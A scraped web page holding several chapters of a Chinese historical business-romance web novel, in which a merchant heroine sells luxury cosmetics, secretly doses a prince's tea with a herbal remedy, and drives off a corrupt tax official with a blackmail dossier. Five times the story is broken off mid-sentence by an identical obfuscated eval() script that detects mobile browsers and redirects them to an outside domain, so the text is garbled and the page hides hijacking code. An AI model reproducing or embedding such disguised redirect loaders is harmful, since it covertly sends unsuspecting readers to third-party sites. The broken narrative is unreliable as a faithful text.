;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113438|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定。 “姜老板,这…这种精细的瓶子,真能做出来?” 为首的老工匠赵师傅捻着花白的胡须,眉头紧锁,“我们以往做的都是大件粗活,这般精巧细致,闻所未闻啊。” “能不能做到,是看各位师傅的手艺和用心,”姜绾歌的目光扫过众人,语气温和却带着不容置疑的力量,“但值不值得做,我说了算。你们看这个——” 她的指尖精准地点在图纸上那款镶嵌金箔的玫瑰花形瓶上,“像这样的一个瓶子,配上里面独一无二的好东西,卖给那些贵妇名媛,一个就能抵得上普通琉璃器皿十个、二十个的价钱!” 她吩咐工匠们先从最简单的圆形小瓶开始练手,掌握玻璃吹制和塑形的基础。 自己则马不停蹄地返回杏林堂后院的密室,开始了另一项核心工作——调配即将装入这些精美琉璃瓶中的养颜秘药。 密室内,光线被特意调暗以保持清凉。 长条案几上,整齐摆放着十几种经过精挑细选的药材:新鲜采摘的玫瑰花瓣、上等的珍珠粉、气味清雅的白芷、细腻的茯苓粉、洁白的薏仁粉……每一样都是滋养肌肤的珍品。 “这玫瑰凝露的关键,在于精华的萃取。”姜绾歌一边熟练地操作着特制的蒸馏器具,一边对打下手的阿福讲解。 她将饱满的玫瑰花瓣小心地铺入蒸馏甑中,下方的炭火保持着稳定的热度。 很快,透明的玻璃冷凝管中,开始有凝聚的、带着淡雅粉色的液珠,一滴,一滴,缓慢而珍重地滑落。 “瞧见了吗?这就是玫瑰精油,最精华的部分。”她用特制的琉璃小瓶承接住每一滴珍贵的液体,“一斤上好的花瓣,也就能萃取出这二钱左右的精华,珍贵无比。” 她将收集到的精油与研磨得细如粉尘的珍珠粉混合,再加入几味精心配比的辅料,一份基础版的驻颜膏便初具雏形。 “阿福,你试试感觉和气味。”她用小银勺挑了一点膏体递给阿福。 第205章 秋姨娘试用 阿福依言沾取一点,涂抹在手背上,轻轻揉开。一股清雅纯正的玫瑰花香瞬间弥漫开来,沁人心脾。 膏体细腻柔滑,极易吸收,手背的皮肤肉眼可见地变得滋润柔嫩。 “东家!这味道太好了!又香又纯,不是那些香粉的俗艳味!抹上去也舒服极了!” “这还不够完美。” 姜绾歌眼中闪烁着精明的光芒,她从一个密封的小瓷罐里,用银匙挑出微乎其微的一点白色晶体粉末。 “这是南洋来的薄荷脑,极是提神醒肤。”她将这点粉末极其谨慎地调入膏体中,再次搅拌均匀。 神奇的变化发生了。 当阿福再次涂抹时,除了那令人愉悦的玫瑰香和滋润感,手背上立刻传来一阵清晰而舒适的清凉之意,仿佛肌肤在瞬间被唤醒。 “东家,这凉凉的感觉是?”阿福惊奇地问道。 “这叫‘体感效果’,”姜绾歌唇角微扬,露出洞悉人心的微笑,“贵妇们用了这膏子,脸上能立刻感受到这份清凉舒爽,就会本能地认为这药效强劲,物超所值。而这薄荷脑,成本低廉,却能带来远超其价值的‘体验’。做生意,要懂得洞察人心。” 在成功调配出驻颜膏后,她又着手制作另一种配套产品——珍珠焕颜药膜。 这工艺更为复杂,需要将珍珠粉、新鲜蛋清、纯净蜂蜜按照极其精确的比例混合搅拌成粘稠的浆液,再均匀地摊薄在特制的模具上,置于阴凉通风处缓慢风干,最终形成一张张薄如蝉翼、蕴含精华的药膜。 “这个药膜,洁面后贴敷于脸上,静待半个时辰再轻轻揭下,” 她向阿福展示着半成品的药膜,“能让肌肤立刻感受到水润充盈,变得光滑细腻,长期使用,更能淡化细纹,改善肤质。成本不过二两银子,但我们要卖到十两,甚至更高!” 十天后,琉璃工坊的第一批产品终于宣告完工。 五十个晶莹剔透、造型各异的琉璃瓶,如同艺术品般整齐地陈列在工作台上。 瓶内,盛装着淡粉色、散发着清雅光泽的驻颜凝露。 阳光透过工坊的窗户照射进来,在瓶身上折射出璀璨的光晕,特别是那几个精心镶嵌了金箔的玫瑰瓶,更是流光溢彩,奢华之气扑面而来。 “太漂亮了!”石头拿起一个莲花瓶对着阳光仔细端详,惊叹不已,“这手艺,这品相,怕是宫里的贡品也不过如此吧?” 姜绾歌仔细检查着每一个瓶子,脸上露出满意的神色。 这些瓶子的精美程度,完全达到了她预想中的效果,足以承载“贵妇专享”的定位和价格。 “东西做出来了,现在最关键的是打开销路。” 她小心翼翼地将五十个琉璃瓶分装进早已准备好的、内衬锦缎的精美礼盒中。 “阿福,你亲自去一趟秋府,务必请秋姨娘过来一趟。就说我得了些新奇有趣的好东西,请她务必赏光品鉴。” 当天下午,秋姨娘便乘着轻便小轿,带着一身暑气,风风火火地赶到了杏林堂。 当她看到桌上陈列的、在夏日光线中熠熠生辉的“驻颜臻萃礼盒”时,眼睛瞬间亮了起来,所有炎热带来的烦躁似乎都一扫而空。 “哎哟,我的好妹妹!”秋姨娘快步上前,拿起一个嵌金箔的玫瑰瓶,爱不释手地摩挲着光滑冰凉的瓶身。 “这…这可真是稀罕物!这瓶子,这雕工,这金箔镶嵌的巧思…啧啧,比我在宫里见过的那些贡品琉璃还要精巧几分!这到底是做什么用的宝贝?” “这是小妹新近研制的一套养颜秘品,唤作‘玉肌凝露’和‘珍珠焕颜膜’。” 姜绾歌微笑着打开手中的玫瑰瓶盖,一股清雅中带着丝丝凉意的玫瑰幽香立刻飘散出来。 “姐姐且先试试这凝露的效果。”她用配套的小玉挑棒,挑取一点凝露,轻柔地涂抹在秋姨娘的手腕内侧。 秋姨娘只觉一股难以言喻的舒爽感从手腕蔓延开来。 先是清雅高贵的玫瑰芬芳萦绕鼻尖,紧接着是凝露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121606|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被肌肤快速吸收的滋润感,最后便是那令人精神一振的清凉之意! 她低头仔细看着涂抹过的地方,那里的皮肤似乎瞬间就变得水润饱满,纹理都细腻了不少,在光线下泛着健康的光泽。 “这…这效果也太神奇了!”秋姨娘又惊又喜,声音都拔高了几分,“又香又润,这清凉劲儿一上来,整个人都舒坦了!感觉这药力是直往皮肤里钻啊!好东西,真是好东西!” “姐姐喜欢就好。”姜绾歌笑得温婉。 “这凝露里用了上等玫瑰精油、南洋珍珠粉,还佐以几味珍稀的养颜药材,加上一点特殊的南洋冰晶提神醒肤。这一套礼盒,内含凝露一瓶,焕颜膜十贴,定价一百两银子。” “一百两?”秋姨娘听到价格,下意识地吸了口气,但目光再次落到那精美绝伦的瓶子和手腕上明显改善的肌肤上,那份惊艳和喜爱瞬间压过了价格的犹豫。 “这…虽然不算便宜,可瞧瞧这瓶子,再试试这效果,值!绝对值这个价!” “姐姐是我这新品的第一位贵客,自然要有优待。” 姜绾歌适时递上一份早已准备好的契约文书,“八十两一套给姐姐。而且,小妹还有个不情之请,想与姐姐合作。” “哦?妹妹但说无妨。”秋姨娘立刻来了兴致。 “姐姐在京城贵妇圈中交游广阔,人脉深厚,眼光品味更是独到。” 姜绾歌言辞恳切,“小妹想请姐姐帮忙,将这‘玉肌臻萃’礼盒推荐给您的知交好友们。每成功售出一套,姐姐便可从中获得两成作为酬谢。您看如何?” 秋姨娘的眼睛瞬间迸发出光彩。 既能用上这等好东西,还能借此在贵妇圈中彰显自己的人脉和品味,更能轻松赚取不菲的佣金,这简直是三全其美的好事! “好!一言为定!”她爽快地应下,甚至带着几分迫不及待,“妹妹放心!这等好东西,不愁没人识货!这五十套礼盒,包在姐姐身上!不出三日,定给你个满意的答复!” 第206章 秋姨娘的震惊 秋姨娘的能力果然没有让姜绾歌失望。 这位在京城贵妇圈中长袖善舞的妇人,带着几盒精心挑选的样品,在几个赏荷品茶的夏日聚会上不经意地展示了一番,立刻引起了轰动。 “天爷!这琉璃瓶儿,莫不是水晶做的?这般剔透玲珑,瓶身上的金玫瑰,啧啧,巧夺天工啊!宫里赏出来的琉璃盏也没这等精细!” 一位侍郎夫人捧着那嵌金箔的玫瑰瓶,爱不释手。 “快瞧瞧这凝露!”另一位侯府夫人沾了点抹在手背上,立刻感受到那沁人的清凉和瞬间的滋润。 “哎呀!这感觉!又香又润,凉丝丝的,舒服极了!抹上就觉得脸皮子都紧致了似的!” “可不是嘛!听说这制法是从西域高僧那儿得的,秘方里的珍珠粉是南洋深海采的百年老蚌珠!金贵着呢!” 秋姨娘适时地添油加醋,将姜绾歌的说辞艺术加工了一番,更添神秘色彩。 贵妇们本就对美容养颜趋之若鹜,又见这瓶子精美绝伦,效果立竿见影,特别是那清凉感带来的心理暗示。 加上秋姨娘巧舌如簧的鼓吹和“限时限量”的暗示,不到两天功夫,姜绾歌准备的第一批五十套“玉肌臻萃”礼盒就被闻风而来的贵妇们抢购一空。 承恩公夫人、工部尚书夫人等顶级贵客纷纷下了订单,更有出手阔绰的,一次就订走了三五套,说是要送娘家姐妹。 当阿福将厚厚一叠银票交到姜绾歌手上时,声音都激动得有些发颤:“东家!五千两!整整五千两啊!这才几天功夫?比咱们杏林堂辛辛苦苦卖一个月药材赚的还多得多!” 饶是姜绾歌早有预期,看着这实实在在的进项,心中也忍不住涌起一阵强烈的成就感。 这复式记账法带来的财务清晰感,让她对每一分利润的来源都了如指掌,而这种精准掌控带来的踏实感和扩张底气,是过去从未有过的。 不过,成功的喜悦并未冲昏她的头脑。她立刻拿出账本,重新核算这套“玉肌臻萃”的成本。 精美的琉璃瓶,特别是嵌金箔的,制作费约十两。 凝露和药膜的主要原料,玫瑰、珍珠粉、南洋薄荷脑及其他辅料,约八两。 内外层锦缎包装及玉挑棒等配件约三两。总成本达到了二十一两银子。 卖价一百两,利润高达七十九两,利润率接近八成! “利润确实可观,”姜绾歌对阿福分析道,“但成本还是偏高。尤其是这琉璃瓶和薄荷脑,占了成本的大头。 包装也可再精简些,贵妇们看中的是瓶子本身和效果,包装够雅致即可,不必过度奢华。” 接下来的几天,姜绾歌一头扎进了工坊和密室。 她与赵师傅反复试验,在保证瓶子美观度和通透感的前提下,找到了更廉价的替代材料来制作某些非关键部件,并优化了镶嵌金箔的工艺,减少了损耗。 对于核心的凝露配方,她通过多次试验,精确地找到了薄荷脑发挥最佳“清凉体感”的最低有效用量,成功将其用量减少了一半,大大降低了这部分成本。 包装也改用了更简洁但依然不失高雅的锦盒设计。 “东家,成了!”阿福拿着新的成本核算单,“琉璃瓶降到八两,原料降到七两,包装降到二两!总成本十七两!一套省了四两银子!” 姜绾歌看着账本上清晰的数字,满意地点点头。 成本控制,是生意长久的核心。 利润空间更大了,意味着她有更多的资金可以投入到下一步的扩张和应对风险中。 正当琉璃工坊的订单如雪片般飞来,工人们加班加点赶制第二批产品时,姜绾歌的脑子又转到了醉仙楼上。 看着工坊里那些晶莹剔透的试验品——一些形状各异但品质稍逊、不适合装驻颜膏的琉璃杯盏,一个念头闪过她的脑海。 “琉璃宴?”秋姨娘再次来访时,听到姜绾歌的新点子,好奇地睁大了眼睛。 “正是,”姜绾歌拿起一个透明的琉璃高脚杯,又拿起一个浅碟状的琉璃盏,“姐姐请看,这些杯盏虽然不够完美做礼盒,但胜在晶莹剔透。 我们用它来盛装醉仙楼的招牌药膳和饮品, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121607|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是什么效果?” 她当即让厨子将几样药膳装了进去。 红艳艳的枸杞银耳羹注入高脚杯,翠生生的薄荷绿豆汤盛入浅盏,金灿灿的蜂蜜雪梨露倒入小盅…… 透明的琉璃器皿完美地呈现出食材本身的色泽与质地,在夏日的光线下流光溢彩,宛如一件件精致的艺术品。 “妙!真是妙啊!”秋姨娘拍手称赞,“这红是红,绿是绿,金是金,隔着琉璃看得清清楚楚,比用瓷碗瓷盏雅致新奇多了!光是看着就让人食指大动!” 为了营造更独特的氛围,姜绾歌还让跑堂的小伙计们学了一首简单的打油诗。 “玉露琼浆映丹心,琉璃盏中见真情。” 要求他们在为客人端上“琉璃宴”菜品时,必须面带笑容,声音清亮地吟唱出来。 “琉璃宴”一经在醉仙楼推出,立刻引发了轰动。 新颖别致的盛器、赏心悦目的色泽、朗朗上口的“广告词”,加上醉仙楼本就小有名气的药膳,使得这道“宴”迅速成为京城食客们趋之若鹜的新宠。 许多客人慕名而来,指名要点“琉璃宴”,哪怕同样的药膳,用了琉璃盏价格翻了一倍,也心甘情愿。 石头看着络绎不绝的客人,摇头感叹:“东家,这些贵人们的心思真难懂。 一样的汤水,换个琉璃杯就肯多掏一倍的银子?” 姜绾歌看着账房送来的、因“琉璃宴”而明显增长的流水,嘴角微扬。 “这叫做‘体验’的价值。同样的东西,不同的呈现方式,带给人的感受和价值认同就完全不同。包装、氛围、服务,这些都是生意的一部分。” 就在姜绾歌为琉璃生意全面开花而踌躇满志时,一个意料之外却又在意料之中的人出现。 顾云霁。 他今日穿着一身月白色的云纹锦袍,质地轻薄,看着就凉爽。 只是,他走进醉仙楼后院的步伐,比平日少了几分随意,多了些不易察觉的僵硬,落座时,左肩似乎微微下沉,牵扯到伤处,让他的眉头几不可察地蹙了一下。 第207章 顾云霁的伤 “姜老板近日生意兴隆,日进斗金,可喜可贺。” 顾云霁拿起桌上一个空的、镶嵌着银丝的莲纹琉璃瓶,在指间漫不经心地把玩着,语气听不出太多情绪。 “这西域制法弄出来的小玩意儿,倒是在京城刮起了一阵不小的风。” 姜绾歌心中一凛,面上却维持着得体的微笑:“王爷说笑了,不过是些讨巧的小生意,糊口罢了。比不得王爷经手的家国大事。” 她暗自警惕,顾云霁此刻的神态语气,与往日那种带着点戏谑的慵懒不同,似乎藏着些别的东西。 “糊口?”顾云霁轻笑一声,指尖弹了弹那价值不菲的琉璃瓶,发出清脆的声响。 “一个装药膏的空瓶子,放在外头也能值上十数两银子吧?加上里面您那‘南洋秘方’的膏子,一套卖上百两……姜老板这糊口的门槛,可着实不低啊。” 这话语里带着明显的试探和一丝不易察觉的锋芒。 姜绾歌立刻明白,这位王爷恐怕已经派人摸过她这琉璃生意的底了。 她正色道:“王爷此言差矣。琉璃瓶制作不易,工艺繁复,原料亦需精挑细选。其中凝露所用玫瑰精油、南洋珍珠粉皆为上品,更有几味珍稀药材调和,成本高昂。定价百两,亦是物有所值,童叟无欺。” “物有所值?”顾云霁挑眉,将瓶子放下,目光直视姜绾歌,带着洞察的意味。 “成本高昂?姜老板这‘无商不奸’的手段,本王今日算是领教了。”这话已近乎刻薄。 姜绾歌心头火起,这人今日是存心来找茬的? 她压下不悦,反唇相讥。 “王爷过奖了。小女子诚信经营,明码标价,总好过某些人……” 她故意顿了顿,目光扫过顾云霁面前的空茶杯。 “在我这醉仙楼白吃白喝,连个茶钱都未曾结清吧?” “白吃白喝?”顾云霁显然没料到她会突然翻这旧账,愣了一下,随即气笑了,“本王何时……” 话未说完,左肩处一阵尖锐的刺痛骤然袭来,让他呼吸一窒,脸色瞬间白了几分,后面的话也咽了回去。 姜绾歌一直留意着他的状态,这瞬间的异常如何能逃过她的眼睛? 看他强忍痛楚却还要维持仪态的样子,她作为医者的本能瞬间压过了方才的斗气和戒备。 “王爷的伤,”她语气陡然变得严肃而关切,不再是针锋相对的商人姿态,“是上次的箭伤又反复了?”她用的是陈述句而非疑问句,眼神锐利。 顾云霁深吸一口气,强撑着:“无妨,旧伤而已,天气闷热,有些不适罢了。” “坐下别动!”姜绾歌的语气带着不容置疑的命令口吻,人已站了起来,“旧伤复发最忌拖延,若处理不当,落下病根,日后有得苦头吃!” 她快步走到一旁备着茶水的案几边,背对着顾云霁,迅速取出一小撮早就备好的、研磨得极细的三七粉,借着倒茶的动作,巧妙地撒入了刚沏好的新茶壶中。 她端着茶盘走回,神色已恢复平静,仿佛刚才的紧张气氛从未发生。 “王爷请用茶。这是今春的雨前龙井,最是清热解暑,润燥生津。”她亲自为顾云霁斟了一杯。 顾云霁看着她,目光深沉,带着探究。他接过茶杯,指尖感受到杯壁的温热。 浅啜一口,清冽的茶香中,确实夹杂着一丝极其细微、不易察觉的、不属于茶叶本身的清苦药味。 他端着茶杯的手指微微一顿,抬眼看向姜绾歌。 姜绾歌神色坦然,仿佛只是单纯地请他喝茶。 顾云霁垂下眼帘,看着杯中澄澈的茶汤,嘴角勾起一抹极淡、含义不明的弧度。 他没有点破,反而又慢条斯理地喝了两口,才放下茶杯。 “茶确是好茶,”他缓缓道,目光再次落在姜绾歌脸上,带着一种了然和更深的东西。 “只是姜老板这待客的‘心意’,本王今日品得尤为特别。” 姜绾歌心头猛地一跳,他果然察觉了!她面上不动声色。 “王爷喜欢就好。不过是寻常待客的茶水,能有什么特别心意?” “是吗?”顾云霁轻笑一声,不再纠缠于此,他站起身,动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124571|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作依然带着些微的滞涩,但脸色似乎比刚才缓和了一丝。 “那本王就告辞了。这茶……”他走到门口,忽又停步,回头深深看了姜绾歌一眼,那眼神复杂难辨。 “滋味独特,令人回味。下次,本王还想再来讨一杯。” 看着顾云霁的身影消失在院门外,姜绾歌才缓缓吁出一口气,后背竟有些微汗。 阿福立刻凑了过来,压低声音:“东家,您刚才…在茶里放了什么?王爷他是不是……” “三七粉,”姜绾歌没有隐瞒,“活血化瘀,对他那肩伤有益。” “啊?那…那王爷岂不是发现了?”阿福一脸担忧。 “发现便发现了吧。”姜绾歌揉了揉眉心,语气带着一丝无奈和不易察觉的懊恼。 “他若问起,直说便是。顶多被他揶揄几句‘多管闲事’罢了。” 话虽如此,她心中却并非全无波澜。 给这位心思深沉、立场不明的王爷偷偷下药,虽是出于医者仁心,但若被他曲解或利用,后果确实难料。 只是当时见他忍痛的样子,那点医者的本能终究还是占了上风。 夜色渐深,暑气稍退。 琉璃工坊内依旧灯火通明,炉火熊熊,工匠们挥汗如雨地赶制着源源不断的订单。 热浪和玻璃熔液的气息混合在一起,弥漫在整个工坊。 姜绾歌站在门口,望着里面忙碌而有序的景象。 第二批、第三批产品正在成型,订单已经排到了下个月。 这红火的景象本该让她欣喜,但顾云霁的突然造访和那意味深长的话语,像一根细小的刺,扎进了她刚刚因成功而膨胀的信心之中。 “东家,咱们这琉璃瓶,现在可是京城头一份的抢手货!” 石头抱着一摞新出炉的瓶子,脸上是兴奋的红光,“您猜怎么着?连宫里头都有人来打听呢!听说是皇后娘娘身边得力的管事嬷嬷,问咱们能不能给宫里也供些货,特别是那种嵌金丝的瓶子!” “宫里?”姜绾歌心头猛地一沉,仿佛被一盆冷水兜头浇下。 第208章 户部来找茬 巨大的诱惑背后,是更深不可测的漩涡。宫里的订单,代表着泼天的富贵,更代表着难以想象的麻烦和风险。 一旦卷入宫廷的倾轧与争斗,她这点家底,这点依仗,顷刻间就可能化为乌有。 顾铭轩的虎视眈眈还未解决,顾云霁的态度又暧昧不明,此刻再招惹宫廷? 她几乎没有任何犹豫,果断地摇头。 “告诉宫里来打听的人,就说我们工坊新立,匠人手艺还在打磨精进,产量极其有限,连市面上的订单都供不应求,实在没有余力承接宫里的差事。婉拒了吧,态度要恭敬,理由要充分。” “是,东家。”石头虽然觉得可惜,但对姜绾歌的决定从不质疑。 姜绾歌走到窗边,推开窗户。 八月的夜风带着残留的温热拂过面颊,远处是京城点点灯火和模糊的轮廓。 琉璃生意的成功,像一剂强心针,让她实力大增,拥有了更雄厚的资本和更清晰的财务掌控力。 但也像一块散发着诱人香气的肥肉,引来了更多隐藏在暗处的觊觎目光。 无论是意图不明的顾铭轩,还是心思难测的顾云霁,抑或是那深宫之中可能伸出的手,都不会坐视她这个突然冒出来的“肥羊”安然无恙地壮大下去。 前路看似光明璀璨,实则暗流汹涌,步步惊心。 她已无退路。 既然选择了这条路,踏出了这关键的一步,就只能披荆斩棘,坚定地走下去。 她握紧了拳头,指节微微发白,眼中却燃烧着更加旺盛的斗志和决心。 “我倒要看看,”她对着窗外的夜色,低声自语,声音不大,却带着磐石般的坚定,“谁能真正拦得住我在这方天地间,闯出自己的一条路来!” 这不仅仅是为了发财,更是为了在这危机四伏的世界里,掌握自己命运的主动权。 琉璃生意红火了五天,这天上午,姜绾歌正在醉仙楼后院清点新制的驻颜膏,门外忽然传来一阵急促的马蹄声。 阿福慌慌张张地跑进来:东家!不好了!户部的人来了! 户部?姜绾歌心头一跳,来干什么? 说是要稽查咱们的账目!阿福压低声音,为首的是个姓钱的税吏,带了四五个人,现在就在前厅等着呢! 姜绾歌暗骂一声。 琉璃生意刚起步就引来了官府的注意,看来树大招风这话一点不假。 慌什么?她强作镇定,咱们账目清楚,怕他个鸟!阿福,把所有账册都拿出来,还有那些陶罐也搬出来。 陶罐?阿福不解。就是咱们平时收银钱用的那些陶罐,一个不落地都搬出来! 姜绾歌眼中闪过一丝冷色,今天让这些官老爷见识见识什么叫现银交易! 前厅里,一个四十多岁的税吏正端坐在太师椅上。 他姓钱,人如其名,两眼放光地盯着醉仙楼的装饰摆设,嘴角挂着讥讽的笑容。 姜老板,久仰大名!钱税吏看到姜绾歌进来,阴阳怪气地拱手,在下户部税司钱有德,今日前来,是要查验贵楼的账目。 钱大人客气,民女姜绾歌,她不卑不亢地回礼,不知大人要查什么账? 自然是收入账目,钱有德从袖中抽出一份文书,近日有人举报,说醉仙楼收入虚报,偷**银,本官奉命前来核实。 举报?姜绾歌冷笑,不知是哪位好心人这么关心民女的生意? 这个你就不必知道了,钱有德挥手,把你们的流水账簿拿出来,本官要逐一核对。 姜绾歌示意阿福将账册呈上。 钱有德接过账本,翻了几页,脸上的笑容更加阴险。 每日百两进账? 他指着账本上的数字,冷笑道,姜老板,这个数字恐怕有虚报之嫌吧? 虚报?姜绾歌挑眉,钱大人此话何意? 一个小小的酒楼,每日能有百两收入?钱有德合上账册,本官查过了,京城最大的酒楼日收也不过八十两,你这醉仙楼凭什么这么赚钱? 凭什么?姜绾歌语气中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124572|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着怒意,凭老娘有本事!凭老娘的药膳独一无二!凭老娘的琉璃宴前所未有! 口说无凭!钱有德一拍桌子,你有什么证据证明这些收入都是真的?说不定都是你为了**编造的假账! 就在这时,门外传来一阵搬运的声音。 十几个伙计抬着大大小小的陶罐鱼贯而入,每个陶罐都沉甸甸的,发出金属碰撞的声音。 钱大人要证据?姜绾歌指着这些陶罐,这就是证据! 她走到最大的一个陶罐前,用力掀开盖子。 瞬间,白花花的银两映入众人眼帘,大大小小的银锭、碎银、铜钱装了满满一罐。 这是上个月的营收。 她又打开第二个罐子,里面同样装满了银钱,这是这个月到现在的收入。小本生意,现银交易,分文不差! 钱有德看得目瞪口呆,这么多现银摆在面前,做不得假。 他强撑着说:就算有这些银钱,谁知道是不是你从别处搬来的? 别处搬来的?姜绾歌冷笑,钱大人,您看看这些银钱的成色和样式。 她从罐子里抓起一把碎银:这些都是客人付账剩下的碎银,大小不一,成色也不同。如果是从别处搬来的,会这么杂乱无章吗? 钱有德凑近一看,确实如姜绾歌所说。这些银钱明显是日常交易积累的,不是特意准备的整银。 再看这个。姜绾歌又从另一个罐子里拿出一个小布袋,这是昨天一个客人付的,里面有十二两碎银,还有这张纸条。 纸条上写着:醉仙楼琉璃宴,果然名不虚传,改日再来! 客人付完账,我们都会给一张小票,上面记录着消费项目和金额, 姜绾歌又拿出一叠纸条,这些都能和账本上的记录一一对应。 钱有德接过纸条查看,发现确实和账本记录相符。 他心中开始打鼓,没想到这个女人准备得这么充分。 就算账目真实。他硬着头皮说,但税银呢?你们交了多少税? 第209章 心虚 该交的一分不少,姜绾歌从袖中掏出一叠收据,这些都是税银收据,钱大人可以查验。 钱有德接过收据,一张张仔细查看。 税银确实按时缴纳,数额也和收入相符。 他越看越心虚,这次稽查看来是白跑一趟了。 正当钱有德为难之际,姜绾歌忽然走到他身边,装作整理账册的样子,趁着众人不注意,将一个小册子塞进了他的袖子里。 动作极其隐蔽,除了她自己,没有任何人发现。 钱大人,账目都在这里,您慢慢查验,她若无其事地说,民女去后厨看看,一会儿给各位大人准备些茶点。 钱有德心不在焉地点头,他感觉到袖子里多了什么东西,但当着这么多人的面,不敢贸然查看。 姜绾歌离开后,钱有德继续装模作样地查看账目,但心思完全不在这上面。他悄悄摸了摸袖子,确实有个薄薄的册子。 大人,这账目确实没有问题,一个手下小声说道,咱们是不是该回去了? 钱有德心中正慌乱,连忙点头:既然账目清楚,那就没什么可查的了。 他匆匆收拾东西准备离开,心中好奇那个册子里到底是什么内容。 姜绾歌送他们到门口:钱大人辛苦了,民女这就是小本生意,经不起折腾,还请大人多多关照。 好说好说,钱有德敷衍着,心思全在袖子里的册子上。 等税吏们离开后,姜绾歌脸上的笑容瞬间消失。她快步走到后院,对等候的阿福说:马上派人盯着钱有德,看他今晚有什么动静。 是!东家!阿福应声去办。 还有,姜绾歌又叮嘱道,让石头去打听打听,是谁举报咱们的。 夜幕降临,钱有德府中。 钱有德关紧房门,颤抖着手从袖中取出那个小册子。册子很薄,封面上写着京官嗜好录五个字。 他怀着忐忑的心情翻开第一页,瞬间脸色大变。 户部侍郎王某,嗜酒如命,家中藏有私酿烧刀子三十坛...... 工部员外郎李某,好渔色,外室三房,其中一房乃有夫之妇...... 刑部主事张某,赌性难改,欠赌债八百两,已将祖宅抵押...... 一条条记录触目惊心,每一条都是足以毁掉一个官员前程的把柄!更可怕的是,册子最后一页,赫然写着他钱有德的名字: 户部税司钱有德,贪墨税银,私设小金库,金额达两千两...... 钱有德看到这里,冷汗直冒。这些事他自以为做得隐秘,没想到竟然被人查得一清二楚! 册子的最后,还有一行小字:知者自重,违者必究。 钱有德瘫坐在椅子上,手中的册子如同烫手山芋。他终于明白,今天的稽查是个陷阱,姜绾歌早就做好了准备。 这个女人太可怕了!不仅把账目做得天衣无缝,还掌握着这么多官员的秘密! 当夜,钱有德辗转反侧,一夜未眠。第二天一早,他就以身体不适为由,向上司提出了辞官申请。 消息传到醉仙楼时,姜绾歌正在和阿福商议下一步的计划。 东家,钱有德真的辞官了!石头兴奋地跑进来报告,说是要回老家养病! 这么快?姜绾歌似乎有些意外,但眼中闪过一丝得意,看来那本册子的威力不小啊。 东家,您那本册子里到底写了什么?阿福好奇地问。 写了一些有趣的事情,姜绾歌神秘地笑了,关于京城某些官员的小秘密。 她走到书桌前,从暗格里取出另一本更厚的册子——京官嗜好清单。这本册子记录得更加详细,不仅有官员们的隐私,还有他们的喜好、习惯、社交关系等信息。 阿福,她指着册子上的一个名字,李御史喜欢听戏,特别是《铡美案》。你去联系一下城里最好的戏班,把他们包下来。 包戏班?阿福不解,这是要干什么? 当然是请李御史听戏了,姜绾歌眼中闪着精光,人家有这个爱好,咱们就投其所好。说不定什么时候就用得上。 正当她计划着如何利用这些信息时,门外传来太监的尖细嗓音:陛下有赏! 姜绾歌心头一跳,顾铭轩怎么这个时候派人来?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 